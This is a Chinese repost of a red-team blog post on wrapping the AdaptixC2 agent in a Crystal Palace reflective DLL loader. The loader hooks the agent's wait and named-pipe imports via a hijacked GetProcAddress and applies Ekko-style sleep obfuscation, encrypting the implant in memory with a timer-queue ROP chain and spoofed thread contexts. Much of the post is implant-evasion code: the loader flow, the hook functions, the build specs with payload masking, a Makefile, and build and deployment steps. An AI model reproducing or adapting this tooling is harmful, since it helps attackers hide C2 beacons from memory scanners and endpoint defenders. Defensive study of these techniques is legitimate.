文章总结: 本文详述如何使用CrystalPalace反射式DLL加载器封装AdaptixC2agent,实现三大隐蔽增强:修正PE节权限使.text为RX/.data为RW、通过PICO机制挂钩IAT拦截WaitForSingleObject等关键API、实施Ekko风格睡眠混淆用ROP链加密内存映像。文章深入讲解PEB遍历改IAT导入、挂钩架构设计、ROP链构造等细节,为红队提供完整技术方案与代码实现。 综合评分: 92 文章分类: 红队,渗透测试,安全工具,实战经验,内网渗透
睡美人:用 Crystal Palace 送 Adaptix 安然入眠
Maor Sabag Maor Sabag
securitainment
2026年3月17日 10:24 中国香港
一个关于重定位、ROP 链,以及如何让 Adaptix beacon 优雅入睡的故事。
| 原文链接 | 作者 | | — | — | | https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty/ | Maor Sabag |
引言
Adaptix C2 自带一个默认的 agent DLL。开箱即用的状态下,它就是一个标准 PE —— 加载到内存后全局都是 RWX权限,没有 IAT hook,没有睡眠混淆,什么都没有。做红队工作时用它,无异于顶着一块写着 “PLEASE DETECT ME” 的霓虹灯牌走进 SOC。
本文记录了我们将这个默认 Adaptix agent DLL 用 Crystal Palace反射式 DLL 加载器 (RDLL) 进行封装的完整历程。在当前版本中,它能做到:
-
修正节权限
—— 让 DLL 的
.text节为RX,.data节为RW,以此类推 —— 如同一个被正常加载的 PE。 -
挂钩导入地址表 (IAT)
—— 通过 Crystal Palace 的 PICO 机制拦截关键的等待/同步和 IPC API (
WaitForSingleObject(Ex)、WaitForMultipleObjects、ConnectNamedPipe)。 -
实现 Ekko 风格的睡眠/空闲混淆
—— 在长时间等待期间,使用定时器队列 ROP 链加密内存中的 DLL 映像,并配合按节权限恢复和线程上下文伪装。
这个过程中每一步都伴随着各种精彩的踩坑。接下来让我们逐一回顾。
准备工作
Crystal Palace
Crystal Palace 是一套从标准 COFF 目标文件构建位置无关代码 (PIC) 的工具链。它拥有自己的链接器 (./link)、一种用于描述 PIC 块组装方式的 spec 语言,以及一个名为 PICOs的核心概念 —— 持久化 PIC 对象,它们会随加载的 DLL 一起常驻内存。以下是 Crystal Palace 的关键概念:
| 概念 | 描述 |
| — | — |
| make pic +gofirst | 将 COFF 转换为 PIC,以 go()作为入口点 |
| make object | 将 COFF 转换为 PICO (持久常驻对象) |
| merge | 将另一个 COFF 合并到当前对象中 |
| attach "MODULE$Func" "hook" | 将 PIC 中所有对 Func的引用重写为指向 hook |
| addhook "MODULE$Func" "hook" | 注册 hook以供运行时通过 __resolve_hook()查找 |
| exportfunc | 从 PICO 导出函数,供加载器调用 |
| MODULE$Function | 声明 Win32 API 导入的命名约定 (例如 KERNEL32$VirtualProtect) |
项目结构
src/
loader.c # Main PIC loader - loads/stomps PICO and DLL, fixes permissions
hooks.c # Wait*/ConnectNamedPipe hooks with Ekko-style obfuscation
hooks.h # Hook types, Ekko API, NT structures and imports
pico.c # PICO - GetProcAddress hook + setup_hooks + set_image_info
services.c # API resolution via hash walking (Crystal Palace DFR front-end)
stomp.c # Sacrificial DLL/PICO stomping logic
stomp.h # Stomping types and helpers
loader.h # PE parsing helpers (GetExport, DLLDATA, IMPORTFUNCS, etc.)
tcg.h # Crystal Palace intrinsics
crystal_palace/specs/
loader.spec # Main PIC build spec (masking + stomp + PICO link)
pico.spec # PICO build spec (hooks + Ekko)
services.spec # Services build spec
src_service/ # Adaptix Service Extender integration (build pipeline hook)
loader/ # EXE/DLL/SVC wrappers and includes (uses Shellcode.h)
demo/src/run.c # Optional standalone test harness
Makefile # COFF build targets for the loader side
编译
所有代码均在 Linux 上使用 MinGW 交叉编译:
CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe -fno-zero-initialized-in-bss
最后两个编译标志是干什么的?后面会详细解释。剧透一下:Crystal Palace PIC 对你的栈探测 (stack probe) 和 BSS 节可是有话要说的。
第一章:改造 Adaptix —— 强制引入 WaitForSingleObject 导入
PEB 遍历问题
在我们能挂钩任何函数之前,Crystal Palace 需要在 DLL 的导入地址表 (IAT) 中 看到对应的导入项。问题在于:Adaptix 默认 agent 并不使用常规的 WaitForSingleObject导入。它是在 ApiLoader.cpp中通过 PEB 遍历在运行时动态解析 WaitForSingleObject的:
ApiWin->WaitForSingleObject = (decltype(WaitForSingleObject)*)GetSymbolAddress(hKernel32Module, HASH_FUNC_WAIT_FOR_SINGLE_OBJECT);
GetSymbolAddress会遍历 PEB 的 InMemoryOrderModuleList,找到 kernel32.dll,然后通过哈希手动解析导出函数。这意味着 WaitForSingleObject根本不会出现在 DLL 的导入表中 —— Crystal Palace 的 addhook无从拦截。
修复方案
我们将 PEB 遍历改为直接引用导入:
ApiWin->WaitForSingleObject = &WaitForSingleObject;
通过直接取 WaitForSingleObject的地址,编译器会在 DLL 的导入表中生成一个标准的 kernel32!WaitForSingleObjectIAT 条目。这样当 Crystal Palace 加载器调用 ProcessImports()时,我们挂钩的 GetProcAddress就能识别出 "WaitForSingleObject",并通过 __resolve_hook()将其重定向到我们的 _WaitForSingleObject/_WaitForSingleObjectEx钩子函数。
为什么这很重要:Crystal Palace 的挂钩机制 (
addhook+__resolve_hook) 在导入解析阶段生效。如果函数通过 PEB 遍历而非 IAT 来解析,就不存在可供拦截的导入项。为等待原语强制建立真实的导入条目,是后续所有工作的前提。
第二章:挂钩的艺术 —— 通过 PICO 实现 Crystal Palace IAT Hook
目标
我们希望拦截 Adaptix DLL 发出的特定 Win32 API 调用 —— 在当前设计中,主要是长时间等待和 SMB 管道连接路径 —— 并将它们重定向到我们自己的实现,在阻塞操作外围包裹 Ekko 风格的混淆。
Crystal Palace 挂钩机制
Crystal Palace 提供两种机制:
-
attach—— 重写 PIC 内部的引用 (编译时打补丁)。
-
addhook—— 注册一个函数以供运行时通过
__resolve_hook()查找 (基于 ROR13 哈希)。
对于已加载 DLL 的 IAT 挂钩,我们使用 addhook。关键手法是:我们通过 attach挂钩 GetProcAddress本身,这样当加载器调用 ProcessImports()解析 DLL 导入时,我们挂钩的 GetProcAddress会逐一检查每个导入是否在已注册的钩子列表中。
PICO 架构
钩子代码存放在一个 PICO(Crystal Palace 对象) 中 —— 一个独立的 COFF,加载到自己的内存分配中,与 DLL 一起常驻。这一点至关重要,因为:
- 主 PIC (加载器) 是临时的 —— 它执行
go()后其内存就会被释放。 - 钩子需要在 DLL 的整个生命周期内持续存在。
- PICO 可以拥有
.data节 (全局变量),而主 PIC 无法处理.data重定位。
pico.c —— 钩子解析器
#include<windows.h>
#include"tcg.h"
extern PVOID g_ImageBase; /* defined in hooks.c, shared via merge */
extern DWORD g_ImageSize;
extern VOID ResolveHookFunctions(VOID);
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
/* skip ordinal imports */
if ((ULONG_PTR)lpProcName > 0xFFFF) {
FARPROC hook = __resolve_hook(ror13hash(lpProcName));
if (hook) return hook;
}
/* no hook - call the real GetProcAddress */
returnGetProcAddress(hModule, lpProcName);
}
voidsetup_hooks(IMPORTFUNCS *funcs) {
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
}
voidset_image_info(PVOID base, DWORD size) {
g_ImageBase = base;
g_ImageSize = size;
ResolveHookFunctions(); /* resolve original Wait*/ConnectNamedPipe/Ekko helpers once */
}
当 DLL 的导入表被处理时,每个导入都会经过 _GetProcAddress。如果 __resolve_hook()通过函数名的 ROR13 哈希找到了已注册的钩子,就返回钩子指针;否则调用真正的 GetProcAddress。
pico.spec —— 构建 PICO
当前 PICO spec (精简至关键部分):
x64:
load"../../build/pico.x64.o"
make object +optimize +disco +mutate +regdance +blockparty
load"../../build/hooks.x64.o"
merge
mergelib "../../crystal_palace/libtcg.x64.zip"
exportfunc "setup_hooks""__tag_setup_hooks"
exportfunc "set_image_info""__tag_set_image_info"
addhook "KERNEL32$WaitForSingleObjectEx""_WaitForSingleObjectEx"
addhook "KERNEL32$WaitForSingleObject""_WaitForSingleObject"
addhook "KERNEL32$WaitForMultipleObjects""_WaitForMultipleObjects"
addhook "KERNEL32$ConnectNamedPipe""_ConnectNamedPipe"
export
要点 (当前架构):
-
make object—— 创建 PICO (而非 PIC)。
-
merge—— 将
hooks.c合并到同一个 PICO 中,使它们共享全局变量和 Ekko 状态。 -
addhook—— 注册等待/IPC 钩子,使
__resolve_hook(ror13hash("WaitForSingleObjectEx"))等调用能返回我们的包装函数。 -
exportfunc—— 使
setup_hooks和set_image_info可从加载器调用;set_image_info还会触发原始 API 和 Ekko 辅助函数的一次性解析。
loader.spec —— 主 PIC
loader spec 经过演进,加入了二进制掩码、代码覆写和大量指令级变异。精简后的关键部分如下:
x64:
load"../../build/loader.x64.o"
make pic +gofirst +optimize +mutate +disco +regdance +blockparty +shatter
load"../../build/stomp.x64.o"
merge
run "../../crystal_palace/specs/services.spec"
run "../../crystal_palace/specs/pico.spec"
link "pico"
# Generate a random key and mask the embedded DLL at link time
generate $KEY128
push $DLL
xor $KEY
preplen
link "dll"
push $KEY
preplen
link "mask"
export
注意:这里 没有合并 hooks.x64.o,也 没有直接 attach``Sleep。所有钩子代码都在 PICO 中,只有 DLL 的导入会在解析时通过挂钩的 GetProcAddress被拦截。
加载器流程
voidgo(void) {
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* 1. Load the PICO */
char *pico_src = GETRESOURCE(_PICO_);
PICO *pico_dst = KERNEL32$VirtualAlloc(NULL, sizeof(PICO), ...);
PicoLoad(&funcs, pico_src, pico_dst->code, pico_dst->data);
KERNEL32$VirtualProtect(pico_dst->code, PicoCodeSize(pico_src), PAGE_EXECUTE_READ, &old);
/* 2. Install hooks - rewrites funcs.GetProcAddress */
((SETUP_HOOKS)PicoGetExport(pico_src, pico_dst->code, __tag_setup_hooks()))(&funcs);
/* 3. Load the DLL */
char *dll_src = GETRESOURCE(_DLL_);
DLLDATA dll_data;
ParseDLL(dll_src, &dll_data);
char *dll_dst = KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&dll_data), ..., PAGE_READWRITE);
LoadDLL(&dll_data, dll_src, dll_dst);
ProcessImports(&funcs, &dll_data, dll_dst); /* hooks kick in here! */
/* 4. Tell Ekko where the DLL lives */
((SET_IMAGE_INFO)PicoGetExport(pico_src, pico_dst->code, __tag_set_image_info()))
(dll_dst, SizeOfDLL(&dll_data));
/* 5. Fix permissions & run */
fix_section_permissions(&dll_data, dll_dst);
KERNEL32$FlushInstructionCache((HANDLE)-1, dll_dst, SizeOfDLL(&dll_data));
EntryPoint(&dll_data, dll_dst)((HINSTANCE)dll_dst, DLL_PROCESS_ATTACH, NULL);
}
第三章:睡美人 —— Ekko 睡眠混淆
核心概念
Ekko 是 Cracked5pider 提出的一种睡眠混淆技术。其核心思路:
-
当 beacon 进入睡眠时,加密内存中的整个 DLL 映像。
-
休眠指定的时长。
-
解密 DLL 映像
,恢复执行。
在睡眠窗口期间,DLL 的内存内容是乱码 —— 内存扫描器看到的只是一堆随机字节。
ROP 链
Ekko 使用 CreateTimerQueueTimer+ NtContinue构建一条完全由定时器回调组成的 ROP 链。每个 “ROP gadget” 实际上是一个完整的 CONTEXT结构体,其 Rip、Rcx、Rdx等字段被设置为调用特定函数。当前实现中的链路如下:
| 步骤 | 函数 | 用途 |
| — | — | — |
| 0 | WaitForSingleObject(hEvtStart, INFINITE) | 门控:阻塞定时器线程直到准备好执行链路 |
| 1 | GetThreadContext(MainThread, &CtxBkp) | 备份主线程的真实上下文 |
| 2 | SetThreadContext(MainThread, &CtxSpf) | 安装从随机线程获取的伪装上下文 |
| 3 | VirtualProtect | 将 DLL 权限改为 PAGE_READWRITE |
| 4 | SystemFunction032 | RC4 加密 DLL 映像 |
| 5 | WaitForSingleObjectEx / WaitForMultipleObjects/ ConnectNamedPipe | 执行原始的等待/IPC 操作 |
| 6 | SystemFunction032 | RC4 解密 DLL 映像 (相同密钥 = 切换) |
| 7 | restore_section_permissions | 遍历 PE 节表,应用正确的按节权限 |
| 8 | SetThreadContext(MainThread, &CtxBkp) | 恢复主线程的原始上下文 |
| 9 | SetEvent(hEvtEnd) | 通知等待线程链路已完成 |
每一步都通过设置一个 CONTEXT结构体并让 NtContinue通过定时器回调加载它来执行。各定时器之间间隔 100ms 以保证顺序执行;首先会运行一个使用 RtlCaptureContext的捕获阶段,为所有帧获取一个干净的模板上下文。
具体实现
与原始 Ekko 的关键区别在于:步骤 5 调用的是 restore_section_permissions()—— 我们自定义的函数,它会遍历 PE 节表 —— 而非简单地用 VirtualProtect将整个映像设为 PAGE_EXECUTE_READWRITE。原因详见第五章。
等待/同步钩子
当前 PICO 并非直接修补 Sleep,而是挂钩 Adaptix agent 使用的底层等待/同步和 IPC API (WaitForSingleObjectEx、WaitForSingleObject、WaitForMultipleObjects、ConnectNamedPipe)。每个包装函数根据超时时间决定是否触发 Ekko,然后要么调用原始函数,要么执行混淆链路:
DWORD _WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable) {
if (!g_pWaitForSingleObjectEx) { /* ... error path ... */ }
WAIT_FOR_SINGLE_OBJECT_EX_ARGS WaitArgs = { hHandle, dwMilliseconds, bAlertable, g_pWaitForSingleObjectEx };
if (dwMilliseconds < 1000) {
/* short waits: no obfuscation, call the real function */
returng_pWaitForSingleObjectEx(hHandle, dwMilliseconds, bAlertable);
}
/* long waits: run Ekko and simulate completion */
HOOK_ARGS Args = { .WaitForSingleObjectExArgs = WaitArgs };
EkkoObf(WAIT_FOR_SINGLE_OBJECT_EX, &Args);
return WAIT_OBJECT_0;
}
DWORD _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) {
return_WaitForSingleObjectEx(hHandle, dwMilliseconds, FALSE);
}
DWORD _WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) {
if (!g_pWaitForMultipleObjects) { /* ... */ }
if (dwMilliseconds <= 200) {
returng_pWaitForMultipleObjects(nCount, lpHandles, bWaitAll, dwMilliseconds);
}
WAIT_FOR_MULTIPLE_OBJECTS_ARGS WaitArgs = { nCount, lpHandles, bWaitAll, dwMilliseconds, g_pWaitForMultipleObjects };
HOOK_ARGS Args = { .WaitForMultipleObjectsArgs = WaitArgs };
EkkoObf(WAIT_FOR_MULTIPLE_OBJECTS, &Args);
return Args.WaitForMultipleObjectsArgs.returnValue;
}
BOOL _ConnectNamedPipe(HANDLE hPipe, LPOVERLAPPED lpOverlapped) {
if (!g_pConnectNamedPipe) { /* ... */ }
CONNECT_NAMED_PIPE_ARGS ConnectArgs = { hPipe, lpOverlapped, g_pConnectNamedPipe };
HOOK_ARGS Args = { .ConnectNamedPipeArgs = ConnectArgs };
EkkoObf(CONNECT_NAMED_PIPE, &Args);
returnTRUE;
}
当 Adaptix DLL 调用上述任何一个函数且超时时间足够长时,调用路径会通过 IAT 被拦截,DLL 映像被加密,等待/IPC 操作在 ROP 链内部执行,然后映像被解密并恢复节权限,最后控制权返回调用方。
传递 DLL 映像区域信息
EkkoObf需要知道 DLL 在内存中的 位置和 _大小_。这些信息以全局变量的形式存储在 hooks.c中:
PVOID g_ImageBase = NULL;
DWORD g_ImageSize = 0;
加载器在映射 DLL 后通过导出的 set_image_infoPICO 函数来设置它们:
/* In loader.c, after LoadDLL + ProcessImports */
((SET_IMAGE_INFO)PicoGetExport(pico_src, pico_dst->code, __tag_set_image_info()))
(dll_dst, SizeOfDLL(&dll_data));
pico.c和 hooks.c都被合并到同一个 PICO 中,因此它们共享全局变量。
第四章:链接器错误的考验
本章是我们失血最多的地方。Crystal Palace 的 PIC 链接器对能够处理的重定位类型非常严格 —— 这也理所当然,因为 PIC 按定义必须完全位置无关。
错误 1:___chkstk_ms重定位
[-] Can't process relocation for ___chkstk_ms @ 0xf7 <EkkoObf+0x8> in pico.spec (x64)
原因:EkkoObf在栈上声明了 7 个 CONTEXT结构体。每个 CONTEXT在 x64 上约 1232 字节,总计约 8.5 KB。当函数的栈帧超过 4 KB(一个内存页) 时,MSVC 和 MinGW 会插入对 ___chkstk_ms的调用 —— 这是一个运行时辅助函数,通过逐页 “探测” 来触发保护页异常并渐进式扩展栈。
问题在于:___chkstk_ms是一个 CRT 函数。在 PIC 中没有 CRT —— 这个调用会产生一个无法解析的重定位。
修复:在编译标志中添加 -mno-stack-arg-probe。这会告诉 GCC 完全跳过栈探测。在我们的场景中这是安全的,因为:
- 我们运行在一个已经拥有大栈的线程中。
- 8.5 KB 远低于典型的默认栈保留空间 (1 MB)。
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe
错误 2:.bss重定位
[-] Can't process relocation for .bss @ 0xa9f <EkkoObf+0x111> in loader.spec (x64)
原因:CONTEXT结构体和 USTRING结构体上的 = { 0 }初始化器:
CONTEXT CtxThread = { 0 }; /* ← generates .bss reference */
当 GCC 遇到 = { 0 }时,它会将零初始化模式放入 .bss(零初始化数据节) 并生成从 .bss到栈的 memcpy/memset。这个 .bss引用会变成 Crystal Palace 无法处理的重定位。
修复:移除 = { 0 }初始化器,改用显式的 memset调用:
/* BAD - .bss relocation */
CONTEXT CtxThread = { 0 };
/* GOOD - runtime zeroing, no .bss reference */
CONTEXT CtxThread;
MSVCRT$memset(&CtxThread, 0, sizeof(CONTEXT));
同样适用于密钥缓冲区:
/* BAD */
CHAR KeyBuf[16] = { 0x55, 0x55, ... };
/* GOOD */
CHAR KeyBuf[16];
MSVCRT$memset(KeyBuf, 0x55, 16);
错误 4:-fno-zero-initialized-in-bss
即使在使用 memset 修复之后,一些零初始化的全局变量 (g_ImageBase = NULL、g_ImageSize = 0) 仍然被 GCC 放入了 .bss。添加 -fno-zero-initialized-in-bss可以强制将它们放入 .data:
CFLAGS=... -fno-zero-initialized-in-bss
Crystal Palace PIC 经验法则:
- 不要在结构体上使用
= { 0 }初始化器 —— 使用memset。- 不要使用字符串字面量 —— 使用栈字符串。
- 不要有 CRT 调用 (
___chkstk_ms) —— 使用-mno-stack-arg-probe。- 不要有
.bss引用 —— 使用-fno-zero-initialized-in-bss。- 带有
.data重定位的全局变量 → 将它们放在 PICO 中,而非主 PIC。
第五章:BOF 崩溃 —— 按节权限恢复
一切都正常运行 —— 直到 Adaptix agent 尝试运行一个 BOF (Beacon Object File)。瞬间崩溃。
原始 Ekko 实现在 ROP 步骤 5 中使用简单的 VirtualProtect调用,在解密后将整个映像恢复为 PAGE_EXECUTE_READWRITE。这是一种一刀切的权限设置 —— 每个节都获得 RWX,不管它实际需要什么。
问题在于:某些节 —— 特别是 .data和 .rdata—— 不应该拥有执行权限。当 agent 加载 BOF 时,它会写入 .data风格的内存。如果该内存的权限是 PAGE_EXECUTE_READWRITE而非 PAGE_READWRITE,BOF 的内部重定位和内存操作就会遇到意外的保护页或对齐问题,导致崩溃。
最终架构
┌─────────────────────────────────────────────┐
│ loader PIC (go) │
│ 1. Load/stomp PICO into sacrificial DLL │
│ 2. Call setup_hooks() │
│ → hooks GetProcAddress │
│ 3. Unmask Adaptix DLL resource │
│ 4. Load/stomp Adaptix DLL into memory │
│ 5. ProcessImports (hooks active) │
│ 6. set_image_info(base, size) │
│ 7. fix_section_permissions() │
│ 8. Protect PE headers & flush cache │
│ 9. Call DLLMAIN(base, DLL_PROCESS_ATTACH) │
│ 10. Call DLLMAIN(go, 0x4) │
└──────────────────┬──────────────────────────┘
│ stays resident
▼
┌──────────────────────────────────────────────┐
│ PICO (resident) │
│ ┌───────────────────────────────────┐ │
│ │ pico.c │ │
│ │ _GetProcAddress() │ │
│ │ setup_hooks() │ │
│ │ set_image_info() + Resolve*() │ │
│ └───────────────────────────────────┘ │
│ ┌───────────────────────────────────┐ │
│ │ hooks.c (merged) │ │
│ │ g_ImageBase, g_ImageSize │ │
│ │ EkkoObf(HOOK_TYPE, HOOK_ARGS) │ │
│ │ ├ VirtualProtect(RW) │ │
│ │ ├ SystemFunction032(encrypt) │ │
│ │ ├ WaitFor*/ConnectNamedPipe │ │
│ │ ├ SystemFunction032(decrypt) │ │
│ │ ├ restore_section_permissions │ │
│ │ └ SetEvent(done) │ │
│ └───────────────────────────────────┘ │
└──────────────────────────────────────────────┘
│ hooked imports
▼
┌─────────────────────────────────────────────┐
│ Adaptix Agent DLL │
│ .text → PAGE_EXECUTE_READ │
│ .rdata → PAGE_READONLY │
│ .data → PAGE_READWRITE │
│ Wait*/ConnectNamedPipe → EkkoObf chain │
└─────────────────────────────────────────────┘
构建与链接
Makefile
当前 Makefile 构建输出到 build/目录,并包含了新的 stomp模块:
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe -fno-zero-initialized-in-bss
all: build/loader.x64.o build/hooks.x64.o build/pico.x64.o build/services.x64.o build/stomp.x64.o
build:
mkdir -p build
build/loader.x64.o: build
$(CC_64) $(CFLAGS) -c src/pico.c -o build/pico.x64.o
$(CC_64) $(CFLAGS) -c src/loader.c -o build/loader.x64.o
$(CC_64) $(CFLAGS) -c src/stomp.c -o build/stomp.x64.o
$(CC_64) $(CFLAGS) -c src/services.c -o build/services.x64.o
$(CC_64) $(CFLAGS) -c src/hooks.c -o build/hooks.x64.o
clean:
rm -f build/*.o build/*.bin output/*
构建与链接
# Compile COFF objects
make clean && make all
# Link with Crystal Palace (from repo root)
./crystal_palace/link crystal_palace/specs/loader.spec /path/to/agent.x64.dll build/agent.bin
编译测试工具
x86_64-w64-mingw32-gcc -DWIN_X64 demo/src/run.c -o run.x64.exe -lws2_32
运行
.\run.x64.exe agent.bin
通过 Service Extender 集成 Adaptix (src_service)
实际使用中,你很少会单独运行这个加载器。src_service/目录包含一个 Adaptix Service Extender实现,它将 Crystal Palace 流水线直接接入 Adaptix 的构建流程 (详见 Adaptix 关于 Service Extender 的文档)。
总体而言有两种集成路径:
-
通过 Adaptix Service Extender
:将 extender 放入 Adaptix,启用它,让它挂钩 agent 构建流水线。当 Adaptix 构建 agent DLL 时,extender 会运行 COFF 编译 + Crystal Palace
link步骤 + 包装器构建,最终 agent 已经内嵌了 Crystal Palace RDLL。 -
通过挂钩原始构建流程
:或者,你可以保持 Adaptix 不做修改,添加一个构建后钩子 (类似 README 中描述的流程),获取新构建的 agent DLL,通过本仓库的 Makefile +
crystal_palace/specs/loader.spec处理它,然后替换或包装输出以供部署。
两种方式最终产出形态相同:一个加固的包装器 (exe/ dll/ svc),其 .text节包含由本仓库构建的 Crystal Palace PIC,行为与上述架构描述一致。
结论
最初只是一个简单的 Adaptix 源码修改 —— 将 PEB 遍历替换为直接的 WaitForSingleObject导入 —— 最终演变成了一个完整的 Crystal Palace RDLL,配备 IAT 挂钩和 Ekko 风格睡眠混淆。在这个过程中,我们:
-
修改了 Adaptix 的 ApiLoader
,强制让长时间等待通过干净的、IAT 可见的调用路径,以便 Crystal Palace 能够安全地拦截它们。
-
修复了 3 个 bug
—— 涉及节权限修复器中的无效页保护、BSS 节的错误大小字段,以及迭代间的状态泄露。
-
构建了基于 PICO 的挂钩架构
,通过劫持
GetProcAddress本身在导入解析时拦截 DLL 导入,并将WaitForSingleObject(Ex)、WaitForMultipleObjects和ConnectNamedPipe上的长时间等待路由到 Ekko。 -
实现了 Ekko 风格混淆
,使用基于
NtContinue的定时器队列驱动 ROP 链,并扩展了线程上下文伪装和专用的restore_section_permissions()步骤,在每个周期后应用正确的按节权限。 -
修复了 BOF 崩溃
,用一个自定义函数替代了简单粗暴的
PAGE_EXECUTE_READWRITE恢复,该函数遍历 PE 节表并为每个节应用正确的保护标志。
这套方案的精妙之处在于,我们的 Adaptix DLL 完全不知道发生了什么变化。它照常调用等待/IPC 原语,而在幕后,它的整个内存映像被加密,进程等待,然后一切恢复如初 —— 每个节都拥有恰到好处的权限 —— 仿佛什么都没有发生过。名副其实的睡美人。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Maor Sabag Maor Sabag《睡美人:用 Crystal Palace 送 Adaptix 安然入眠》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论